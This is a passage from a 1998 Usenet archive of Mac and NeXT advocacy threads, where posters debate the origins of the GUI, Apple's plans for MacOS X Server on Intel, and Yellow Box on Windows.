600 MHz w/ Altivec
600 MHz w/o AltiVec, but with a larger L1 cache so the chip uses the same
# of transistors as it would with a small L1 and AltiVec.
For many things, the larger L1 would add more benefit than AltiVec.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Message-ID: <forrestDELETE-THIS!-2709982159000001@term2-27.simi.west.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 27 Sep 1998 21:58:59 -0700
NNTP-Posting-Date: Sun, 27 Sep 1998 21:58:22 PDT
In article <stevehix-2709981057380001@192.168.1.10>, stevehix@safemail.com
(Steve Hix) wrote:
> In article <slrn70stmu.c3a.jason@jhste1.dyn.ml.org>,
> jason@jhste1.dyn.ml.org (Jason S.) wrote:
>
> > Forrest Cameranesi posted the following to comp.sys.mac.advocacy:
> >
> > >Jef Raskin invented the GUI in
> > >his highschool thesis, "The Quick Draw System".
> >
> > Yeah, okay, right. I take it that you never heard of Douglas Engelbart.
>
> (IIRC, Raskin's thesis was college work, not high school.)
Er, yeah. Sorry, brain fart there.
> The notion of a GUI was invented independently several times
> in several places.
>
> Raskin and Englebart did their work at roughly the same time,
> independently of each other, and neither (at the time time)
> pulled all the elements of what is currently understood as a
> GUI together.
And now that I mention it, I have never heard of this Engelbart person.
Any URL where I could find info on him?
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
Message-ID: <360F36FC.318D1E3@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu>
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Date: Mon, 28 Sep 1998 02:13:00 -0500
NNTP-Posting-Date: Mon, 28 Sep 1998 03:14:11 EDT
Organization: ISPNews http://ispnews.com
Pulsar wrote:
[cut]
> A YB application on Windows gains not only the surface look, but also much
> of the feel. To the user, it is just another Windows application. I'm not
> talking about putting the Mac experience on Windows. That is not what YB
> does.
This distinction is obviously not going to go away, so now would be a
good time for some specifics. What, exactly, is different about a MacOS
application? I can think of exactly one thing: the menubar.
> We can discuss ifs all we want, but in this case, this if does not match
> reality and isn't really useful as a hypothetical situation. The user
> experience with a YB app on Windows is the Windows user experience. If you
> want to maintain that the Windows experience is "just as nice" as the Mac's
> then we will disagree.
Then go back and read John's post. He was discussing the extent to which
Apple would create a cross-platform technology from YB. What you are
describing is exactly what he said Apple would do; in essence you are
agreeing with him.
[cut]
> And that hypothesis is wrong (AFAIK). The YB experience is _not_ the same
> across different platforms.
Again, you're going to have to be specific as to the differences.
> That is _not_ what I'm talking about. It's not simply pasting Windows
> widgets over equivalent Mac ones. It is changing the feel of the app to
> match as best as possible the rest of Windows when compiled and run for YB
> on Windows and for the Mac when compiled and run for YB there.
>
> If you are arguing that pasting over widgets would make for this situation,
> then fine, but how is that relevant to reality where that is not what's
> going on?
Explain what you mean by the differences. To the extent that there *are*
avoidable differences, you are simply validating John's argument.
> Well, yeah. Where does that "experience" come from but the UI guidelines
> for the OS?
Which UI guidelines, specifically, did you have in mind? The only UI
changes I've seen in MacOS of late have been in the Finder alone
(ignoring the widget appearances, which we've already dismissed).
> Remember that YB for Windows will produce applications that
> look _and_behave_ like Windows applications. YB for Mac OS will produce
> applications that look _and_behave_ like Mac OS applications.
Again, and again: what behavior is different between MacOS and Windows?
I've already started you off with the menubar. That's as far as I go,
because I really can't think of anything else.
[cut]
> I think you have things wrong here. You don't compile a YB for Windows
> application using a Windows compiler. There is (if I am not mistaken) a
> development environment as part of YB for Windows (that wouldn't be
> included in the run time only libraries... you'd get this as a developer).
Will there be Windows-based developer tools after Rhapsody 1.0? I hadn't
heard.
[cut]
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a
car.)
Date: 28 Sep 98 00:15:47 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B23485B6-394A2@206.165.43.157>
References: <slrn70stmu.c3a.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/alt.microsoft.sucks,
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.hardware.misc
Jason S. <jason@jhste1.dyn.ml.org> said:
>Forrest Cameranesi posted the following to comp.sys.mac.advocacy:
>
>>Jef Raskin invented the GUI in
>>his highschool thesis, "The Quick Draw System".
>
>Yeah, okay, right. I take it that you never heard of Douglas Engelbart.
Actually, Jef Raskin "invented" WYSIWYG printing for his *Master's* thesis
in 1967 (although others may have come up with the idea well before him).
He never claimed to have invented the GUI, although the Mac was designed to
have a bitmapped interface using a pointing device from the first day he
started the project in 1979. Forrest's account is a bit abbreviated and a
bit simplistic but is reasonably close to what Raskin and others said
happened. Raskin got Jobs to visit PARC in order to see a working system
that used human-centric/bitmapped interface-design. Raskin had visited PARC
when it first opened and there was a free exchange of ideas between him and
the engineers working at PARC in the early/mid-70's, before he went to work
for Apple. I've never heard him claim that he contributed in any
significant way to the work at PARC, although he may have given them an
idea or two simply because he was chatting with the people there on CHI
issues when PARC first opened. By the same token, THEY might have given HIM
an idea or two, also.
Certainly, a lot of ideas where gotten from PARC *after* Jobs went there,
but the central theme of the Mac was already in place BEFORE Jobs went to
PARC.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Chris Alsan" <bgodot@eskimo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
Date: Mon, 28 Sep 1998 00:27:18 -0700
Organization: Eskimo North (206) For-Ever
Message-ID: <6undpt$dv$1@eskinews.eskimo.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <forrestDELETE-THIS!-2709982159000001@term2-27.simi.west.net> <360F2079.545ED5BB@trilithon.com>
Henry McGilton wrote in message <360F2079.545ED5BB@trilithon.com>...
>Forrest Cameranesi wrote:
> * And now that I mention it, I have never heard of this
> * Engelbart person. Any URL where I could find info on him?
>Here's at least one URL out of several thousands:
>
> http://www.nttlabs.com/
>
>Doug Englebart is credited with inventing the mouse while at
>SRI. Here's another URL:
>
> http://www.bootstrap.org
>
Isn't a mouse just an upside-down trackball?
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 26 Sep 1998 00:58:03 GMT
Organization: University of Illinois at Chicago
Message-ID: <6uhe6r$upk$1@piglet.cc.uic.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <01bde8ce$a41330b0$06387880@chewy>
Distribution:
Todd Heberlein (todd at NetSQ dot com) (todd@dev.null) wrote:
: > If Apple want to marginalise and kill Mac o'Sex for Intel,
: > why not both barrels right now?
: PURE SUPPOSITION:
: o Experiment - if MacOS X for Intel does well, and it appears to grow
: their market (as opposed to cannibalize Mac hardware sales), they may
: continue the support in the future.
Possible.
: o Hedge their bets - While Apple is doing well touting the PowerPC over
: the Intel architecture, the lack of large development investment by IBM
: in the PowerPC may mean the PowerPC's best days are over.
IBM's PowerPC efforts are still large. They have two different high end
64 bit chips being developed and released that are aimed for release
in 1998 and upgrades in 1999, and they have another CPU in the pipeline
for the 2000 or 2001 timeframe. And then there are also separate
efforts with the Sommerset products and in the embedded space.
: o Apple will re-start cloning, but only on Intel chips. MacOS X for
: Intel is an attempt to see if this could be a viable market and
: convince potential cloners.
Whatever. If Apple restarts cloning it will be only on their own
platform. The last thing Apple wants is to waste its ISV's
resources over what everyone will claim is an orphaned platform
anyway.
: o Keep OpenStep developers - Apple may want to keep current
: OpenStep/Mach/Intel developers happy on their current Intel hardware
: investments.
: o Transition NEXTSTEP users - Apple may want to encourage the few
: remaining NEXTSTEP for Intel owners to at least try MacOS X on their
: Intel boxes.
Likely. Possibly they have made promises to specific customers
or ISVs.
: o Surprises in the works - Apple will announce the MacOS X environment
: for Linux, Free/Net BSD as their long-term Intel support. MacOS X for
: Intel is just a bridge until we get to that point.
Doubtful.
: Cheers,
: Todd
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: tsikes@netcom.com (Terry Sikes)
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <tsikesEzv2sA.tz@netcom.com>
Organization: Netcom
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com>
Date: Fri, 25 Sep 1998 22:36:10 GMT
Sender: tsikes@netcom16.netcom.com
In article <360BDE30.8DCE947@trilithon.com>,
Henry McGilton <henry@trilithon.com> wrote:
>Terry Sikes wrote:
>
> <<<< Munch >>>>
> * Apple's original plan was to offer Rhapsody (now MacOS X
> * Server [MOSXS]) on Intel hardware was well as PowerPC
> * indefinitely. They backed away from this, and are now
> * (according to their official PR) offering the Intel version
> * only for the first release (a sure way to marginalize and
> * kill it).
> <<<< Munch >>>>
>
>Now something in this paragraph above makes no sense to me.
Welcome to the club. Apple's handling of what could be a popular and
profitable OS for Intel/compatible hardware makes no sense to quite a
few of us. It has also greatly annoyed many in the NeXT community who
invested in Intel hardware to run OpenStep for Intel and would now
like a viable path into the future now that Apple bought NeXT. In
many settings obtaining Apple PPC hardware is not an option.
>If Apple want to marginalise and kill Mac o'Sex for Intel,
>why not both barrels right now? Why go to the trouble of
>developing a system that they want to kill off? I mean,
>that's the kind of dumb thing you see Sun doing. I know
>Apple have done some plain silly things in the past, but
>doing what you say would be so stupid a waste of resources
>that it must be a philosophy instead of stupid.
>
>I hope somebody at Apple [Mike?] could speak to this.
I've never heard a single explanation for this from anyone at Apple
that made any sense. They're welcome to give it a try though.. ;-)
For more reading on the subject, hit:
http://www.of.org/rhaptel
and for a somewhat more dated article:
http://www.geocities.com/~tsikes/RhapTel/article.html
The of.org site also discusses an attempt to get Apple to release the
base OS for MacOS X Server as Open Source...I don't know where that
effort is at right now. Apple did initially make some interested
sounds about the proposal.
Apple not pushing MacOS X Server for Intel like crazy seems, er,
mildly insane to me...and this is after a ton of analysis. The one
possibility that makes a small bit of sense is that it may be a bad
time too introduce a new OS for Intel, from the perspective of the DOJ
investigation of MS. However, the presence of Linux, Solaris for
Intel and others seems to make that point moot.
Again, write leadership@apple.com...perhaps they'll see the light.
:-)
I hope this was of interest...
Terry
--
tsikes@netcom.com
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 25 Sep 1998 22:23:05 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2509982223050001@sdn-ar-002casbarp190.dialsprint.net>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <6uhk22$sv2$1@eskinews.eskimo.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6uhk22$sv2$1@eskinews.eskimo.com>, pmfisher@eskimo.com (Pat
Fisher) wrote:
> Why do they want to do this? My guess, coming from a complete lay person,
> is that they want the Intel people to get a taste of it, then take that
> away, then get them to switch to OS X Server subsequent releases by buying
> macs! Apple turning more as a hardware company, cause that is where
> the money is.
THis is absolutely ludicrous. No offense to you for suggesting it, but I
doubt Apple would do this.
<intel dweeb> wow, look at this macos x server for intel package, it looks
really awesome, I want it! It will be a hundred times better than win
nt! It sure is worth the $500 price tag!
<salesman> yes, it is great indeedy. But, you did hear its the last
version for intel, right?
Uh huh, the customers sure are going to jump on that ;)
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: cclark1@home.com (Cherie Clark)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <cclark1-2509982244220001@cx315219-a.omhan1.ne.home.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <01bde8ce$a41330b0$06387880@chewy>
Date: Sat, 26 Sep 1998 03:44:30 GMT
NNTP-Posting-Date: Fri, 25 Sep 1998 20:44:30 PDT
Organization: @Home Network
In article <01bde8ce$a41330b0$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
>> If Apple want to marginalise and kill Mac o'Sex for Intel,
>> why not both barrels right now?
>
>PURE SUPPOSITION:
>
>o Experiment - if MacOS X for Intel does well, and it appears to grow
>their market (as opposed to cannibalize Mac hardware sales), they may
>continue the support in the future.
I believe Rhapsody will be cross platform and of course there is always
Openstep.
>o Hedge their bets - While Apple is doing well touting the PowerPC over
>the Intel architecture, the lack of large development investment by IBM
>in the PowerPC may mean the PowerPC's best days are over.
You really don't read do you? IBM is scheduling the PPC in their high end
machines end of this year and I suspect it will only be a matter of time
before you see them in Aptivas since the new ones will be IBM copper chips
and those are to the bset of my knowledge PPC chips. Intel is already dead
and so is your platform in another year or two it will be THREE platforms
- Mac, IBM/Java OS and the outdated wintel boxes.
>o Apple will re-start cloning, but only on Intel chips. MacOS X for
>Intel is an attempt to see if this could be a viable market and
>convince potential cloners.
Why would they ever want to trade in tomorrows technology for something
that was old last year????
>o Keep OpenStep developers - Apple may want to keep current
>OpenStep/Mach/Intel developers happy on their current Intel hardware
>investments.
Openstep is still being sold.
>o Transition NEXTSTEP users - Apple may want to encourage the few
>remaining NEXTSTEP for Intel owners to at least try MacOS X on their
>Intel boxes.
>o Surprises in the works - Apple will announce the MacOS X environment
>for Linux, Free/Net BSD as their long-term Intel support. MacOS X for
>Intel is just a bridge until we get to that point.
>
You been smoking again.
cherie
>
>Cheers,
>
>Todd
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 25 Sep 1998 21:46:10 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2509982146100001@166-93-57-144.rmi.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net> <6u8naq$s95$1@birch.prod.itd.earthlink.net> <Josh.McKee-2309981731330001@166-93-69-54.rmi.net> <6uf1fd$map$1@holly.prod.itd.earthlink.net>
NNTP-Posting-Date: 26 Sep 1998 03:43:36 GMT
In article <6uf1fd$map$1@holly.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
> Joshua T. McKee wrote in message ...
> >So show me where the sarcasm was. Since I am such a "click-and-drool"
> >poster boy (who also happens to be an avid unix user/advocate) that can't
> >find it on my own.
>
>
> This is sad...
OK...we now know that it is sad, but what we still don't know is where the
sarcasm was.
> >Apparenty I'm not...I'm armed with logic and reason. Since that isn't
> >what you're using, I am definitly ill prepared. So please, point it out
> >for my poor, miserable soul.
>
>
> This is really really sad..
OK Todd...we know that it is sad...now, knowing that it is really sad,
please point out the sarcasm.
I've asked you a few times to do so, and you never do. Can it be that
there really wasn't any sarcasm? I'd be willing to bet.
Now put your money where your mouth is and point out this sarcasm. I'm
wiling to bet that you never will because there wasn't any. And you will
continue your attempts to belittle me.
Josh
From: td@twics.com (Troy Dawson)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Sat, 26 Sep 1998 11:57:00 +0900
Organization: tdi
Message-ID: <td-2609981157010001@ppp37-max01.twics.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com>
In article <tsikesEzuMpC.n48@netcom.com>, tsikes@netcom.com (Terry Sikes) wrote:
> In article <360ce3a8.431427149@news.newsguy.com>,
> David Steuber "The Interloper" <trashcan@david-steuber.com> wrote:
> >On Thu, 24 Sep 1998 21:10:39 GMT, tsikes@netcom.com (Terry Sikes)
> >claimed or asked:
> >
> Apple's original plan was to offer Rhapsody (now MacOS X Server
> [MOSXS]) on Intel hardware was well as PowerPC indefinitely. They
> backed away from this, and are now (according to their official PR)
> offering the Intel version only for the first release (a sure way to
> marginalize and kill it).
>
> IMO, they are blowing it badly (since they have a very portable OS
> courtesy of NeXT) and MOSXS for Intel would be a big hit if they'd
I'm sure there are many engineering resource arguments, product
positioning strategies, etc. that have made the 1.0 bounds
necessary, or at least advantageous, for Apple.
Stuff like being able to work more closely with MS, perhaps even
to the level of incorporating the YB interfaces, if they don't have
a major OS aiming at Gates' corporate jugular.
=td=
Date: Mon, 28 Sep 1998 06:29:30 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Message-ID: <joe.ragosta-2809980629300001@elk33.dol.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu>
In article <360F587D.CA738A54@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
> Terry Sikes wrote:
> > IMO, they are blowing it badly (since they have a very portable OS
> > courtesy of NeXT) and MOSXS for Intel would be a big hit if they'd
> > only push forward with it.
>
> I agree - it's a no brainer!
>
> In my opinion, Apple would be well served by doing the following 3 things:
>
> 1. Release the necessary source code to MacOS such that independent
developers
> can port the operating system to foreign environments, most importantly Linux.
This one I don't buy. It's very difficult to thrive by giving away your
crown jewels.
>
> 2. Continue developing, enhancing, and selling MacOS X Server for
Intel. This
> is an excellent alternative to Windows NT, and in my opinion it will
become the
> server OS of choice for medium/large companies across the world.
I agree with this one completely. In fact, I'd go further. YB needs to be
ported as many places as possible. NT and Win95 are already being done.
But they should include a YB for Linux, AIX, and as many Unices as
possible. Heck, YB on mainframes would be a great extension. Heck, they
should do YB on WinCE if possible.
YB EVERYWHERE!!!!
>
> 3. Continue developing MacOS on a two-track plan: fully equipped, higher
> performance, higher cost server version + less equipped, lower performance,
> lower cost end-user version. I don't see how you can sucessfully merge
the two
> environments into one OS and make everyone happy (i.e. the administrators who
> need speed, features vs. the end-users who don't care about many server level
> things and just want a stable, low cost OS).
The way Mac OS X is set up, this shouldn't be a problem. A couple of years
after its release, it should be smooth and polished enough to make this
work.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 26 Sep 1998 18:03:58 GMT
Organization: MiscKit Development
Message-ID: <6ujaae$j6t$2@news.xmission.com>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <6uhk22$sv2$1@eskinews.eskimo.com> <macghod-2509982223050001@sdn-ar-002casbarp190.dialsprint.net>
NNTP-Posting-Date: 26 Sep 1998 18:03:58 GMT
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6uhk22$sv2$1@eskinews.eskimo.com>, pmfisher@eskimo.com (Pat
> Fisher) wrote:
>
> > Why do they want to do this? My guess, coming from a complete
> > lay person, is that they want the Intel people to get a taste
> > of it, then take that away, then get them to switch to OS X
> > Server subsequent releases by buying macs! Apple turning more
> > as a hardware company, cause that is where the money is.
>
> THis is absolutely ludicrous.
Absolutely.
> No offense to you for suggesting it, but I
> doubt Apple would do this. <intel dweeb>
> wow, look at this macos x server for intel package, it looks
> really awesome, I want it! It will be a hundred times better
> than win nt! It sure is worth the $500 price tag!
> <salesman> yes, it is great indeedy. But, you did hear its the last
> version for intel, right?
>
> Uh huh, the customers sure are going to jump on that ;)
That's one scenario. There's more. For one, consider the person who is a
long time NeXT user and is already a "convert" to most of the new, advanced
technologies in Mac OS X:
What? Buy new hardware? What I have works just fine and is plenty fast
enough. Why on earth would I want to buy more hardware right now? Moreover,
my boss won't let me buy PowerPC, so bye-bye Apple!
And they won't look back, ever. That's just plain dumb martketing: not just
to lose a customer, but to ACTIVELY DRIVE THEM AWAY?
Dumb, dumb, dumb.
Consider that most companies won't let people buy Apple hardware, so you
can't slip that one past purchasing. The price tag is too high to escape
their notice. But you _can_ slip a software purchase past them--heck,
software often fits within the departmental budget so that you can pretty
much bypass purchasing all together! If Apple wants a crowbar into the
enterprise, software is an excellent back door.
Here's another huge fallacy from the quoted post:
> > Apple turning more as a hardware company,
^^^^^^^^
> > cause that is where the money is.
^^^^^^^^^^^^^^^^^^^^^
Hardware is NOT where the money is. It is a terrible way to make money. I'd
rather own a software company *any* day.
Well, gross hardware revenues may be high, but the profits sure as hell
aren't. And return on investment is terrible. I'd rather make more profits,
with less capital tied up, even if I'd have less gross revenue in the deal.
To really survive in the long term, Apple is going to have to become more
competitive, which means that they pretty much have to lower margins on the
hardware. And their margins are already pretty low when you compare them to
software.
The software will *always* have much, much higher margins. Software is a far
better business to be in because you don't have to tie up as much capital to
get your gain. Take a business class or two and/or do the math and you'll
see.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a
car.)
Date: 28 Sep 98 00:17:59 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2348639-3B389@206.165.43.157>
References: <6umvvf$si$1@ocean.cup.hp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/alt.microsoft.sucks,
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.hardware.misc
Ken Lui <klui@cup.hp.com> said:
>According to that series of exchanges, Jef's thesis was completed in 1967
>and he didn't learn about Englebart's work until after his thesis was
>finished.
My recollection is that on the issue of the *single-button* mouse, Raskin
was unaware that Englebart's first mouse had a single button. I believe
that Raskin WAS aware of Englebart's work when he wrote his Master's thesis
-just not Englebart's 1-button mouse, which he used to take credit for
inventing.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a
car.)
Date: 28 Sep 98 00:21:58 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2348728-3EB90@206.165.43.157>
References: <6umvvf$si$1@ocean.cup.hp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/alt.microsoft.sucks,
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.hardware.misc
Ken Lui <klui@cup.hp.com> said:
>
>Bruce Horn and Jef Raskin had an exchange several years back and their
>emails were posted throughout Usenet.
Come to think of it, I think that *I* precipitated this when I posted a
couple of Raskin's e-mail messages to me on Guy Kawasaki's old Semper Fi
mailing list and Bruce Horn took exception to what Raskin had told me and
set the record straight, which brought about the public exchange.
Or maybe not...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Chris Alsan" <bgodot@eskimo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: Mon, 28 Sep 1998 00:26:12 -0700
Organization: Eskimo North (206) For-Ever
Message-ID: <6undnr$dl$1@eskinews.eskimo.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10>
Steve Hix wrote in message ...
>In article <slrn70stmu.c3a.jason@jhste1.dyn.ml.org>,
>jason@jhste1.dyn.ml.org (Jason S.) wrote:
>
>> Forrest Cameranesi posted the following to comp.sys.mac.advocacy:
>>
>> >Jef Raskin invented the GUI in
>> >his highschool thesis, "The Quick Draw System".
>>
>> Yeah, okay, right. I take it that you never heard of Douglas Engelbart.
>
> (IIRC, Raskin's thesis was college work, not high school.)
>
>The notion of a GUI was invented independently several times
>in several places.
>
>Raskin and Englebart did their work at roughly the same time,
>independently of each other, and neither (at the time time)
>pulled all the elements of what is currently understood as a
>GUI together.
after all, what is a GUI?, Graphical User Interface... the other choices
are... Speech, Touch, and Olfactory (Smell and taste)
hmmmm, I should patent the idea of a pheromone controlled interface.
and I suppose there could be psychic interfaces, but they would only work if
you believe in them. :)
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
